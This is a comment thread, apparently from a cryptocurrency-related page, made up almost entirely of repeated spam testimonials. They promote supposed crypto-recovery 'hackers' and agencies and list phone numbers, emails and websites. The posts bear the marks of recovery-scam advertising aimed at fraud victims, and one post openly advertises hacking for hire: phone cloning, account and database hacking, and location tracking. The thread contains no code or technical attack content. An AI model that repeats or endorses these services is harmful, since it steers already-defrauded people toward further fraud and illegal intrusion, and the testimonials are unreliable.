    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 05.12.25 08:35 into11

    The digital world of cryptocurrency offers big chances, but it also hides tricky scams. Losing your crypto to fraud feels awful. It can leave you feeling lost and violated. This guide tells you what to do right away if a crypto scam has hit you. These steps can help you get funds back or stop more trouble. Knowing what to do fast can change everything,reach marie ([email protected] and whatsapp:+1 7127594675)

  • 05.12.25 08:48 Tonerdomark

    SYLVESTER BRYANT WAS A PROFESSIONAL/ RELIABLE HACKER AND HIGHLY RECOMMENDED I’m very excited to speak about him as a Bitcoin Recovery agent, this cyber security company was able to assist me in recovering my stolen funds in cryptocurrency. I’m truly amazed by their excellent service and professional work. I never thought I could get back my funds until I approached them with my problems and provided all the necessary information. It took them time to recover my funds and I was amazed. Without any doubt, I highly recommend Sylvester for your BITCOIN, USDC, USDT, ETH Recovery, for all Cryptocurrency recovery, digital funds recovery, hacking Related issues, contact Sylvester Bryant professional services waapp only= +1 512 577 7957 or + 44 7428 662701 EMAIL = [email protected]

  • 06.12.25 01:44 Tonerdomark

    SYLVESTER BRYANT WAS A PROFESSIONAL/ RELIABLE HACKER AND HIGHLY RECOMMENDED I’m very excited to speak about him as a Bitcoin Recovery agent, this cyber security company was able to assist me in recovering my stolen funds in cryptocurrency. I’m truly amazed by their excellent service and professional work. I never thought I could get back my funds until I approached them with my problems and provided all the necessary information. It took them time to recover my funds and I was amazed. Without any doubt, I highly recommend Sylvester for your BITCOIN, USDC, USDT, ETH Recovery, for all Cryptocurrency recovery, digital funds recovery, hacking Related issues, contact Sylvester Bryant professional services waapp only= +1 512 577 7957 or + 44 7428 662701 EMAIL = [email protected]

  • 06.12.25 01:48 Tonerdomark

    SYLVESTER BRYANT WAS A PROFESSIONAL/ RELIABLE HACKER AND HIGHLY RECOMMENDED I’m very excited to speak about him as a Bitcoin Recovery agent, this cyber security company was able to assist me in recovering my stolen funds in cryptocurrency. I’m truly amazed by their excellent service and professional work. I never thought I could get back my funds until I approached them with my problems and provided all the necessary information. It took them time to recover my funds and I was amazed. Without any doubt, I highly recommend Sylvester for your BITCOIN, USDC, USDT, ETH Recovery, for all Cryptocurrency recovery, digital funds recovery, hacking Related issues, contact Sylvester Bryant professional services waapp only= +1 512 577 7957 or + 44 7428 662701 EMAIL = [email protected]

  • 06.12.25 10:36 Thomas Muller

    YOU CAN REACH OUT TO GREAT WHIP RECOVERY CYBER SERVICES FOR HELP TO RECOVER YOUR STOLEN BTC OR ETH BACK WHATSAPP +1(208)713-0697 I once fell victim to online investment scheme that cost me a devastating €254,000. I’m Thomas Muller from Berlin, Germany. The person I trusted turned out to be a fraud, and the moment I realized I’d been deceived, my entire world stopped. I immediately began searching for legitimate ways to recover my funds and hold the scammer accountable. During my search, I came across several testimonies of how Great Whip Recovery Cyber Services helped some people recover money they lost to cyber fraud, I contacted Great Whip Recovery Cyber Service team and provided all the evidence I had. Within about 36 hours, the experts traced the digital trail left by the fraudster, the individual was eventually tracked down and I recovered all my money back. You can contact them with,  website https://greatwhiprecoveryc.wixsite.com/greatwhip-site  text +1(406)2729101 email [email protected]

  • 06.12.25 10:36 Thomas Muller

    YOU CAN REACH OUT TO GREAT WHIP RECOVERY CYBER SERVICES FOR HELP TO RECOVER YOUR STOLEN BTC OR ETH BACK WHATSAPP +1(208)713-0697 I once fell victim to online investment scheme that cost me a devastating €254,000. I’m Thomas Muller from Berlin, Germany. The person I trusted turned out to be a fraud, and the moment I realized I’d been deceived, my entire world stopped. I immediately began searching for legitimate ways to recover my funds and hold the scammer accountable. During my search, I came across several testimonies of how Great Whip Recovery Cyber Services helped some people recover money they lost to cyber fraud, I contacted Great Whip Recovery Cyber Service team and provided all the evidence I had. Within about 36 hours, the experts traced the digital trail left by the fraudster, the individual was eventually tracked down and I recovered all my money back. You can contact them with,  website https://greatwhiprecoveryc.wixsite.com/greatwhip-site  text +1(406)2729101 email [email protected]

  • 06.12.25 10:39 michaeldavenport238

    I was recently scammed out of $53,000 by a fraudulent Bitcoin investment scheme, which added significant stress to my already difficult health issues, as I was also facing cancer surgery expenses. Desperate to recover my funds, I spent hours researching and consulting other victims, which led me to discover the excellent reputation of Capital Crypto Recover, I came across a Google post It was only after spending many hours researching and asking other victims for advice that I discovered Capital Crypto Recovery’s stellar reputation. I decided to contact them because of their successful recovery record and encouraging client testimonials. I had no idea that this would be the pivotal moment in my fight against cryptocurrency theft. Thanks to their expert team, I was able to recover my lost cryptocurrency back. The process was intricate, but Capital Crypto Recovery's commitment to utilizing the latest technology ensured a successful outcome. I highly recommend their services to anyone who has fallen victim to cryptocurrency fraud. For assistance contact [email protected] and on Telegram OR Call Number +1 (336)390-6684 via email: [email protected] you can visit his website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 06.12.25 10:42 michaeldavenport238

    I was recently scammed out of $53,000 by a fraudulent Bitcoin investment scheme, which added significant stress to my already difficult health issues, as I was also facing cancer surgery expenses. Desperate to recover my funds, I spent hours researching and consulting other victims, which led me to discover the excellent reputation of Capital Crypto Recover, I came across a Google post It was only after spending many hours researching and asking other victims for advice that I discovered Capital Crypto Recovery’s stellar reputation. I decided to contact them because of their successful recovery record and encouraging client testimonials. I had no idea that this would be the pivotal moment in my fight against cryptocurrency theft. Thanks to their expert team, I was able to recover my lost cryptocurrency back. The process was intricate, but Capital Crypto Recovery's commitment to utilizing the latest technology ensured a successful outcome. I highly recommend their services to anyone who has fallen victim to cryptocurrency fraud. For assistance contact [email protected] and on Telegram OR Call Number +1 (336)390-6684 via email: [email protected] you can visit his website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 07.12.25 08:43 Tonerdomark

    SYLVESTER BRYANT WAS A PROFESSIONAL/ RELIABLE HACKER AND HIGHLY RECOMMENDED I’m very excited to speak about him as a Bitcoin Recovery agent, this cyber security company was able to assist me in recovering my stolen funds in cryptocurrency. I’m truly amazed by their excellent service and professional work. I never thought I could get back my funds until I approached them with my problems and provided all the necessary information. It took them time to recover my funds and I was amazed. Without any doubt, I highly recommend Sylvester for your BITCOIN, USDC, USDT, ETH Recovery, for all Cryptocurrency recovery, digital funds recovery, hacking Related issues, contact Sylvester Bryant professional services waapp only= +1 512 577 7957 or + 44 7428 662701 EMAIL = [email protected]

  • 08.12.25 02:17 liam

    I recently fell a victim of cryptocurrency investment and mining scam, I lost almost all my life savings to BTC scammers. I almost gave up because the amount of crypto I lost was too much. So I spoke to a friend who told me about ANTHONYDAVIESTECH company. I Contacted them through their email and i provided them with the necessary information they requested from me and they told me to be patient and wait to see the outcome of their job. I was shocked after two days my Bitcoin was returned to my Wallet. All thanks to them for their genius work. I Contacted them via Email: anthonydaviestech @ gmail . com all thanks to my friend who saved my life

  • 08.12.25 09:07 Tonerdomark

    SYLVESTER BRYANT WAS A PROFESSIONAL/ RELIABLE HACKER AND HIGHLY RECOMMENDED I’m very excited to speak about him as a Bitcoin Recovery agent, this cyber security company was able to assist me in recovering my stolen funds in cryptocurrency. I’m truly amazed by their excellent service and professional work. I never thought I could get back my funds until I approached them with my problems and provided all the necessary information. It took them time to recover my funds and I was amazed. Without any doubt, I highly recommend Sylvester for your BITCOIN, USDC, USDT, ETH Recovery, for all Cryptocurrency recovery, digital funds recovery, hacking Related issues, contact Sylvester Bryant professional services waapp only= +1 512 577 7957 or + 44 7428 662701 EMAIL = [email protected]

  • 09.12.25 00:18 swanky

    For a long time, I had heard tales of individuals striking it rich through cryptocurrency investments, but I had little knowledge of how the system operated. The potential for financial gain piqued my interest, and I decided to dive in and invest. To help me navigate this complex landscape, I joined a group of online traders who promised to guide me through the investment process. Their confidence and expertise made me feel reassured about my decision.After spending some time learning from them and observing their trading strategies, I felt compelled to invest a substantial amount of money to which i lost, now in search of recovering my funds i got referred to anthonydavies on telegram a funds recovery specialist with his team help i was able to get back $300000 of my usdc back. you can reach him via anthonydaviestech AT gmail dot com

  • 09.12.25 01:01 Tonerdomark

    SYLVESTER BRYANT WAS A PROFESSIONAL/ RELIABLE HACKER AND HIGHLY RECOMMENDED I’m very excited to speak about him as a Bitcoin Recovery agent, this cyber security company was able to assist me in recovering my stolen funds in cryptocurrency. I’m truly amazed by their excellent service and professional work. I never thought I could get back my funds until I approached them with my problems and provided all the necessary information. It took them time to recover my funds and I was amazed. Without any doubt, I highly recommend Sylvester for your BITCOIN, USDC, USDT, ETH Recovery, for all Cryptocurrency recovery, digital funds recovery, hacking Related issues, contact Sylvester Bryant professional services waapp only= +1 512 577 7957 or + 44 7428 662701 EMAIL = Yt7CRACKER@gmail. com

  • 09.12.25 05:44 swanky

    For a long time, I had heard tales of individuals striking it rich through cryptocurrency investments, but I had little knowledge of how the system operated. The potential for financial gain piqued my interest, and I decided to dive in and invest. To help me navigate this complex landscape, I joined a group of online traders who promised to guide me through the investment process. Their confidence and expertise made me feel reassured about my decision.After spending some time learning from them and observing their trading strategies, I felt compelled to invest a substantial amount of money to which i lost, now in search of recovering my funds i got referred to anthonydavies on telegram a funds recovery specialist with his team help i was able to get back $300000 of my usdc back. you can reach him via anthonydaviestech AT gmail dot com

  • 09.12.25 10:24 lane3215

    It is distressing to lose USDT to a bitcoin wallet hack. Although challenging, recovering stolen USDT is feasible. Your chances increase if you move swiftly and strategically. Marie can help you with reporting the theft, recovering USDT, and taking immediate action. You can reach her via mail at [email protected], WhatsApp at +1 7127594675.

  • 09.12.25 10:25 lane3215

    It is distressing to lose USDT to a bitcoin wallet hack. Although challenging, recovering stolen USDT is feasible. Your chances increase if you move swiftly and strategically. Marie can help you with reporting the theft, recovering USDT, and taking immediate action. You can reach her via mail at [email protected], WhatsApp at +1 7127594675.

  • 09.12.25 14:16 Matt Kegan

    Grateful i came across SolidBlock Forensics. After investing in crypto trade and couldn't make withdrawals, it dawned on me something was wrong. They kept on asking for taxes, fees for maintenance, and more money for admin reasons. But being represented by SolidBlock Forensics, i was able to file reports, and finally, received all my investments with returns. Its great to know we have professionals that handle such issues and get the job done. 

  • 12.12.25 22:38 swanky

    After reading some reviews on how [anthonydaviestech AT gmail dot (c om) helps people recover money and Cryptocurrencies lost to scammers, I decided to contact him to help me recover mine which I lost in february 2025. To my surprise he was able to trace the USDT from the first wallet to all the wallets it has been sent to. He moved them out of those wallets and returned them back to mine and even added extra to me, it felt like magic.

  • 13.12.25 08:22 Natasha Williams

    I am Natasha Williams from Dallas. I want to share my testimony to encourage anyone who has ever fallen victim to a scam or fraud. Some time ago, I was defrauded by some fraudulent cryptocurrency investment organization online, I was a victim and I lost a huge amount of money, $382,000. I felt angry, disappointed and helpless but I refused to give up and stay calm. I came across this agency, GREAT WHIP RECOVERY CYBER SERVICES.. who helped people recover their money from scammers and the testimonies I saw were quite amazing. And I decided to contact them. I gathered every piece of evidence, chats, receipts, account details, and messages and reported the case to the agency, GREAT WHIP RECOVERY CYBER SERVICES. After 73hours of follow up and not losing faith, the fraudster was traced and held accountable and I recovered all my money back. I highly recommend, GREAT WHIP RECOVERY CYBER SERVICES agency if you have ever fallen victim to scammers, you can contact them. Website: https://greatwhiprecoveryc.wixsite.com/greatwhip-site email: [email protected] Call Line: +1(406)2729101

  • 13.12.25 08:23 Natasha Williams

    I am Natasha Williams from Dallas. I want to share my testimony to encourage anyone who has ever fallen victim to a scam or fraud. Some time ago, I was defrauded by some fraudulent cryptocurrency investment organization online, I was a victim and I lost a huge amount of money, $382,000. I felt angry, disappointed and helpless but I refused to give up and stay calm. I came across this agency, GREAT WHIP RECOVERY CYBER SERVICES.. who helped people recover their money from scammers and the testimonies I saw were quite amazing. And I decided to contact them. I gathered every piece of evidence, chats, receipts, account details, and messages and reported the case to the agency, GREAT WHIP RECOVERY CYBER SERVICES. After 73hours of follow up and not losing faith, the fraudster was traced and held accountable and I recovered all my money back. I highly recommend, GREAT WHIP RECOVERY CYBER SERVICES agency if you have ever fallen victim to scammers, you can contact them. Website: https://greatwhiprecoveryc.wixsite.com/greatwhip-site email: [email protected] Call Line: +1(406)2729101

  • 13.12.25 08:28 Natasha Williams

    I am Natasha Williams from Dallas. I want to share my testimony to encourage anyone who has ever fallen victim to a scam or fraud. Some time ago, I was defrauded by some fraudulent cryptocurrency investment organization online, I was a victim and I lost a huge amount of money, $382,000. I felt angry, disappointed and helpless but I refused to give up and stay calm. I came across this agency, GREAT WHIP RECOVERY CYBER SERVICES.. who helped people recover their money from scammers and the testimonies I saw were quite amazing. And I decided to contact them. I gathered every piece of evidence, chats, receipts, account details, and messages and reported the case to the agency, GREAT WHIP RECOVERY CYBER SERVICES. After 73hours of follow up and not losing faith, the fraudster was traced and held accountable and I recovered all my money back. I highly recommend, GREAT WHIP RECOVERY CYBER SERVICES agency if you have ever fallen victim to scammers, you can contact them. Website: https://greatwhiprecoveryc.wixsite.com/greatwhip-site email: [email protected] Call Line: +1(406)2729101

  • 13.12.25 15:29 Anthonymorphy30

    ⬛️ ARE YOU SEEKING TO RECOVER YOUR LOST FUNDS FROM INVESTMENT/TRADING SCAM OR ROMANCE SCAM??? OR YOU NEED LEGIT HACKING SERVICES SUCH AS PHONE HACK, WEBSITE HACK AND MORE????? TAKE YOUR TIME TO READ ⬛️ ⬛️ We have received numerous complaints of fraud associated with Romance Scam, websites that offers opportunities for Capital Investments, bitcoin investments and Trading on an Internet-based trading platforms. Most Of theese complaints falls into these theee categories: 1. 🔘Refusal to credit customers accounts or reimburse funds to customers: These complaints typically involves customers who have deposited money into their trading or investment account and eventually got deprived from withdrawing their capital and profits by the trading platforms. 2. 🔘Manipulation of software to generate losing trades: These complaints alleged that the Internet-based Investment and trading platforms manipulate the trading software to distort the Trading prices and payouts in order to ensure that the trade results in a Loss. 3. 🔘 Romance Scam where a scammer pretends to have romantic interest in someone to gain their trust—and then uses that trust to steal money or personal information. ⬛️ Most people have lost their hard earned money through these types of Scams but don’t know how to get a Legitimate Funds Recovery Expert. Truth be told, the only Specialists that is capable of retrieving your lost funds to these scams are Team of professional hackers and cyber forensic experts and this is where FUNDS RETRIEVAL PANEL comes in. FUNDS RETRIEVAL PANEL is an amalgamation of top notch Hackers, Cyber forensic Experts, Software Engineers and Backend Gurus who are dedicated to helping victims retrieve their Lost funds from online scams and frauds. We are the Leading Funds Recovery Expert who know various Retrieval Techniques and Strategies that suits different scenarios of Scam. With years of experience in the financial and tech sectors, we are the trusted solution for individuals looking to recover lost money. CONTACT US NOW to schedule your free consultation and start the process of recovering your funds. 🌍 www.fundsretrievalpanel.com 🌍 📩 [email protected]✉️ ☑️ We Also have a segregated Department that focuses on other LEGIT HACKING SERVICES SUCH AS: ▪️ PHONE HACKING & CLONING : very useful for getting evidence from someone else’s phone by gaining full access to all they do on their phones. ▪️ WEBSITE AND DATABASE HACKING 💻 ▪️ SOCIAL MEDIA ACCOUNTS HACKING 📱 ▪️LOCATION TRACKING 📌 CONTACT: 📩 [email protected]

  • 13.12.25 18:52 James Robert

    I am James Robert from Chicago. Few months ago, I fell victim to an online Bitcoin investment scheme that promised high returns within a short period. At first, everything seemed legitimate, their website looked professional, and the people behind it were very convincing. I invested a significant amount of money about $440,000 with the way they talk to me into investing on their bitcoin platform. Two months later I realized that it was a scam when I could no longer have  access to  my account and couldn’t withdraw my money. At first, I lost hope that I wouldn't be able to get my money back, I cried and was angry at how I even fell victim to a scam. For days after doing some research and seeking professional help online, I came across GREAT WHIP RECOVERY CYBER SERVICES and saw how they have helped people recover their money back from scammers. I reported the case immediately to them and gather every transaction detail, documentation and sent it to them. Today, I’m very happy because the GREAT WHIP RECOVERY CYBER SERVICES help me recover all my money I was scammed. You can contact GREAT WHIP RECOVERY CYBER SERVICES if you have ever fallen victim to scam. Email: [email protected] or Website https://greatwhiprecoveryc.wixsite.com/greatwhip-site or Call +1(406)2729101

  • 13.12.25 18:54 James Robert

    I am James Robert from Chicago. Few months ago, I fell victim to an online Bitcoin investment scheme that promised high returns within a short period. At first, everything seemed legitimate, their website looked professional, and the people behind it were very convincing. I invested a significant amount of money about $440,000 with the way they talk to me into investing on their bitcoin platform. Two months later I realized that it was a scam when I could no longer have  access to  my account and couldn’t withdraw my money. At first, I lost hope that I wouldn't be able to get my money back, I cried and was angry at how I even fell victim to a scam. For days after doing some research and seeking professional help online, I came across GREAT WHIP RECOVERY CYBER SERVICES and saw how they have helped people recover their money back from scammers. I reported the case immediately to them and gather every transaction detail, documentation and sent it to them. Today, I’m very happy because the GREAT WHIP RECOVERY CYBER SERVICES help me recover all my money I was scammed. You can contact GREAT WHIP RECOVERY CYBER SERVICES if you have ever fallen victim to scam. Email: [email protected] or Website https://greatwhiprecoveryc.wixsite.com/greatwhip-site or Call +1(406)2729101

  • 18.12.25 12:12 Anthony Irvin

    I forgot my password 🔑 -- But they helped me recover my entire wallet. Successful Brute-Force Hack... On January 16, 2023, INTELLIGENCE CYBER WIZARD successfully hacked my Langerhans.DAT Android DOGECOIN wallet to recover the lost/forgotten spending PIN, necessary for spending funds. It took them only three (3) days to complete the task. It turned out that the spending PIN was only ten (10) digits long, which I had mistakenly believed to be twelve. Once Intelligence Cyber Wizard discovered and recited the full ten-digit PIN to me, based on "clues" I had given them and that only I knew, it reminded me a bit of when I set up the PIN back in 2015. In my case, I made the mistake of not writing it down. The wallet file in this case contained a little over 10.5 million DOGECOINs installed on it, spread across a total of 15 DOGE public wallet addresses and their corresponding private keys. When I acquired the 10.5 million coins in 2015, the total cost to me was only around $1,500, based on the current face value of DOGE at the time, which was approximately $0.0001 per coin. The wallet file had been inaccessible to me since December 27, 2015, after I realized I had forgotten my spending PIN. Before finding Intelligence Cyber Wizard, I had had several other encounters with people who were unsuccessful in recovering the wallet's spending PIN. So, as it turned out, I actually ended up much better off financially because I had forgotten my spending PIN. Had I not forgotten, I would have traded or sold the 10.5 million coins in question during the 2017 cryptocurrency bull run, along with another 40 million DOGECOIN that I sold that year. Even after accounting for a portion of the recovered coins that was awarded to Intelligence Cyber Wizard for their efforts, I still gained a significant financial advantage. Therefore, I am deeply grateful to Intelligence Cyber Wizard, for the swift and successful recovery of my wallet. Their efforts have undoubtedly had a truly transformative impact on my life in the long run. I highly recommend Intelligence Cyber Wizard services if you or someone you know has a wallet that needs hacking and whose password or spending PIN has been lost or forgotten. Contact Intelligence Cyber Wizard via WhatsApp or email. WhatsApp +1 (219) 424-7566 Email: intelligencecyberwizard @ gmail.com Email: intelligencecyberwizard @ cyber-wizard.com Website: https: //intelligence-cyber-wizard.web node.page

  • 18.12.25 13:24 Regency Victorian

    I was scammed and left penniless, until a cryptocurrency recovery expert helped me. INTELLIGENCE CYBER WIZARD - Cryptocurrency Recovery. I was scammed out of a huge amount of money and, devastated, I started looking for help. Someone recommended an expert and private investigator, Intelligence Cyber Wizard. I emailed him, and as soon as I explained what had happened, he immediately told me it had all been a setup. He put my case together, and within a few days, we got a result: I recovered all my money! Intelligence Cyber Wizard was amazing, professional, and efficient; he guided me through the entire process. I can't thank him and his forensic team enough. I can live again! His contact information is below. WhatsApp +1 (219) 424-7566 Email: [email protected] Email: [email protected] Website: https://intelligence-cyber-wizard.webnode.page

  • 18.12.25 20:54 James Robert

    I am James Robert from Chicago. Few months ago, I fell victim to an online Bitcoin investment scheme that promised high returns within a short period. At first, everything seemed legitimate, their website looked professional, and the people behind it were very convincing. I invested a significant amount of money about $440,000 with the way they talk to me into investing on their bitcoin platform. Two months later I realized that it was a scam when I could no longer have  access to  my account and couldn’t withdraw my money. At first, I lost hope that I wouldn't be able to get my money back, I cried and was angry at how I even fell victim to a scam. For days after doing some research and seeking professional help online, I came across GREAT WHIP RECOVERY CYBER SERVICES and saw how they have helped people recover their money back from scammers. I reported the case immediately to them and gather every transaction detail, documentation and sent it to them. Today, I’m very happy because the GREAT WHIP RECOVERY CYBER SERVICES help me recover all my money I was scammed. You can contact GREAT WHIP RECOVERY CYBER SERVICES if you have ever fallen victim to scam. Email: [email protected] or Website https://greatwhiprecoveryc.wixsite.com/greatwhip-site or Call +1(406)2729101

  • 18.12.25 20:55 James Robert

    I am James Robert from Chicago. Few months ago, I fell victim to an online Bitcoin investment scheme that promised high returns within a short period. At first, everything seemed legitimate, their website looked professional, and the people behind it were very convincing. I invested a significant amount of money about $440,000 with the way they talk to me into investing on their bitcoin platform. Two months later I realized that it was a scam when I could no longer have  access to  my account and couldn’t withdraw my money. At first, I lost hope that I wouldn't be able to get my money back, I cried and was angry at how I even fell victim to a scam. For days after doing some research and seeking professional help online, I came across GREAT WHIP RECOVERY CYBER SERVICES and saw how they have helped people recover their money back from scammers. I reported the case immediately to them and gather every transaction detail, documentation and sent it to them. Today, I’m very happy because the GREAT WHIP RECOVERY CYBER SERVICES help me recover all my money I was scammed. You can contact GREAT WHIP RECOVERY CYBER SERVICES if you have ever fallen victim to scam. Email: [email protected] or Website https://greatwhiprecoveryc.wixsite.com/greatwhip-site or Call +1(406)2729101

  • 18.12.25 21:02 James Robert

    This company call GREAT WHIP RECOVERY CYBER SERVICES was honest from the beginning. No false promises – just results. Call:+1(406)2729101

  • 18.12.25 21:02 James Robert

    I am James Robert from Chicago. Few months ago, I fell victim to an online Bitcoin investment scheme that promised high returns within a short period. At first, everything seemed legitimate, their website looked professional, and the people behind it were very convincing. I invested a significant amount of money about $440,000 with the way they talk to me into investing on their bitcoin platform. Two months later I realized that it was a scam when I could no longer have  access to  my account and couldn’t withdraw my money. At first, I lost hope that I wouldn't be able to get my money back, I cried and was angry at how I even fell victim to a scam. For days after doing some research and seeking professional help online, I came across GREAT WHIP RECOVERY CYBER SERVICES and saw how they have helped people recover their money back from scammers. I reported the case immediately to them and gather every transaction detail, documentation and sent it to them. Today, I’m very happy because the GREAT WHIP RECOVERY CYBER SERVICES help me recover all my money I was scammed. You can contact GREAT WHIP RECOVERY CYBER SERVICES if you have ever fallen victim to scam. Email: [email protected] or Website https://greatwhiprecoveryc.wixsite.com/greatwhip-site or Call +1(406)2729101

  • 20.12.25 16:03 VERONICAFREDDIE809

    Earlier this year, I made a mistake that changed everything. I downloaded what I thought was a legitimate trading app I’d found through a Telegram channel. At first, everything looked real until I tried to withdraw. My entire investment vanished into a bot account, and that’s when the truth hit me: I had been scammed. I can’t describe the feeling. It was as if the ground dropped out from under me. I blamed myself. I felt stupid, ashamed, helpless every painful emotion at once. For a while, I couldn’t even talk about it. I thought no one would understand. But then I found someone Agent Jasmine Lopez ([email protected]) ,She didn’t brush me off or judge me. She took my fear seriously. She followed leads I didn’t even know existed, and identified multiple off-chain indicators and wallet clusters linked to the scammer network, she helped me understand what had truly happened behind the scenes. For the first time since everything fell apart, I felt hope. Hearing that other people students, parents, hardworking people had been targeted the same way made me realize I wasn’t alone. What happened to us wasn’t stupidity. It was a coordinated attack. We were prey in a system built to deceive. And somehow, through all the chaos, Agent Jasmine stepped in and shined a light into the darkest moment of my life. I’m still healing from the experience. It changed me. But it also reminded me that even when you think you’re at the end, sometimes a lifeline appears where you least expect it. Contact her at [email protected] WhatsApp at +44 736-644-5035.

  • 06.01.26 00:54 justineluscacio

    I hope this review gets to as many as possible because I am sure it will save many. On March 15, I received a message on Telegram inviting me to join a Cryptocurrency investment group. At first, I thought it was a harmless invitation. I joined and began to see how a specific crypto and forex trader was helping many people and even gifting out Bitcoin to his loyal followers. I was thrilled; many people in the group were reporting their daily successes and how they were earning a substantial amount. I was jealous; I saw people making a lot of money, but not me. I became furious and decided to contact the group's admin, not realizing I had fallen for their trap. That Telegram channel was a hoax, controlled by an organized team of scammers. Within 3 months of being on that platform, I had given out a whopping 11 Bitcoin in total. I was lost when I was logged out of the investment website and blocked from accessing their Telegram channel. I tried all the means I could think of at that moment, all to no avail. It went from days to weeks, and I still couldn't get back my lost Bitcoin.  I was on Medium when I came across a review about digital assets recovery companies. There were quite a few of them, but DuneNectarOnlineExpert caught my attention. I copied their email ( Support @ Dunenectaronlineexpert . Com ), filed a report, and my task was attended to with utmost urgency. After back and forth with this team of cybersecurity experts, DuneNectarOnlineExpert successfully traced the Bitcoin to the scammers' wallet, and it was successfully reclaimed. The team of DuneNectarOnlineExpert was incredibly helpful in recovering my lost Bitcoin. Telegram: T.me/Dunenectarwebexpert WhatApp: +(1252-271-8900) 

  • 06.01.26 15:05 justineluscacio

    I hope this review gets to as many as possible because I am sure it will save many. On March 15, I received a message on Telegram inviting me to join a Cryptocurrency investment group. At first, I thought it was a harmless invitation. I joined and began to see how a specific crypto and forex trader was helping many people and even gifting out Bitcoin to his loyal followers. I was thrilled; many people in the group were reporting their daily successes and how they were earning a substantial amount. I was jealous; I saw people making a lot of money, but not me. I became furious and decided to contact the group's admin, not realizing I had fallen for their trap. That Telegram channel was a hoax, controlled by an organized team of scammers. Within 3 months of being on that platform, I had given out a whopping 11 Bitcoin in total. I was lost when I was logged out of the investment website and blocked from accessing their Telegram channel. I tried all the means I could think of at that moment, all to no avail. It went from days to weeks, and I still couldn't get back my lost Bitcoin.  I was on Medium when I came across a review about digital assets recovery companies. There were quite a few of them, but DuneNectarOnlineExpert caught my attention. I copied their email ( Support @ Dunenectaronlineexpert . Com ), filed a report, and my task was attended to with utmost urgency. After back and forth with this team of cybersecurity experts, DuneNectarOnlineExpert successfully traced the Bitcoin to the scammers' wallet, and it was successfully reclaimed. The team of DuneNectarOnlineExpert was incredibly helpful in recovering my lost Bitcoin. Telegram: T.me/Dunenectarwebexpert WhatApp: +(1252-271-8900) 

  • 06.01.26 16:06 justineluscacio

    Successful Bitcoin Recovery Testimonials in Europe, USA, UK, Asia, Canada, South Africa.

  • 06.01.26 16:07 justineluscacio

    Successful Bitcoin Recovery Testimonials in Europe, USA, UK, Asia, Canada, South Africa. BITCOIN RECOVERY EXPERT USDT RECOVERY EXPERT ETH RECOVERY EXPERT How do I hire a hacker to help me recover my lost funds? How to Recover Money Lost to an Online Scam How to recover lost or stolen cryptocurrency Best recovery experts for cryptocurrency DuneNectarOnlineExpert was incredibly helpful in recovering my lost Bitcoin. Telegram: T.me/Dunenectarwebexpert WhatApp: +(1252-271-8900)

  • 06.01.26 16:14 justineluscacio

    I hope this review gets to as many as possible because I am sure it will save many. On March 15, I received a message on Telegram inviting me to join a Cryptocurrency investment group. At first, I thought it was a harmless invitation. I joined and began to see how a specific crypto and forex trader was helping many people and even gifting out Bitcoin to his loyal followers. I was thrilled; many people in the group were reporting their daily successes and how they were earning a substantial amount. I was jealous; I saw people making a lot of money, but not me. I became furious and decided to contact the group's admin, not realizing I had fallen for their trap. That Telegram channel was a hoax, controlled by an organized team of scammers. Within 3 months of being on that platform, I had given out a whopping 11 Bitcoin in total. I was lost when I was logged out of the investment website and blocked from accessing their Telegram channel. I tried all the means I could think of at that moment, all to no avail. It went from days to weeks, and I still couldn't get back my lost Bitcoin.  I was on Medium when I came across a review about digital assets recovery companies. There were quite a few of them, but DuneNectarOnlineExpert caught my attention. I copied their email ( Support @ Dunenectaronlineexpert . Com ), filed a report, and my task was attended to with utmost urgency. After back and forth with this team of cybersecurity experts, DuneNectarOnlineExpert successfully traced the Bitcoin to the scammers' wallet, and it was successfully reclaimed. The team of DuneNectarOnlineExpert was incredibly helpful in recovering my lost Bitcoin. Telegram: T.me/Dunenectarwebexpert WhatApp: +(1252-271-8900) 

  • 06.01.26 17:03 Matt Kegan

    Reach out to SolidBlock Forensics if you want to get back your coins from fake crypto investment or your wallet was compromised and all your coins gone. SolidBlock Forensics provide deep ethical analysis and investigation that enables them to trace these schemes, and recover all your funds. Their services are professional and reliable.  http://www.solidblockforensics.com

  • 09.01.26 17:11 VERONICAFREDDIE809

    Earlier this year, I made a mistake that changed everything. I downloaded what I thought was a legitimate trading app I’d found through a Telegram channel. At first, everything looked real until I tried to withdraw. My entire investment vanished into a bot account, and that’s when the truth hit me: I had been scammed. I can’t describe the feeling. It was as if the ground dropped out from under me. I blamed myself. I felt stupid, ashamed, helpless every painful emotion at once. For a while, I couldn’t even talk about it. I thought no one would understand. But then I found someone Agent Jasmine Lopez ([email protected]) ,She didn’t brush me off or judge me. She took my fear seriously. She followed leads I didn’t even know existed, and identified multiple off-chain indicators and wallet clusters linked to the scammer network, she helped me understand what had truly happened behind the scenes. For the first time since everything fell apart, I felt hope. Hearing that other people students, parents, hardworking people had been targeted the same way made me realize I wasn’t alone. What happened to us wasn’t stupidity. It was a coordinated attack. We were prey in a system built to deceive. And somehow, through all the chaos, Agent Jasmine stepped in and shined a light into the darkest moment of my life. I’m still healing from the experience. It changed me. But it also reminded me that even when you think you’re at the end, sometimes a lifeline appears where you least expect it. Contact her at [email protected] WhatsApp at +44 736-644-5035.

  • 10.01.26 14:28 justineluscacio

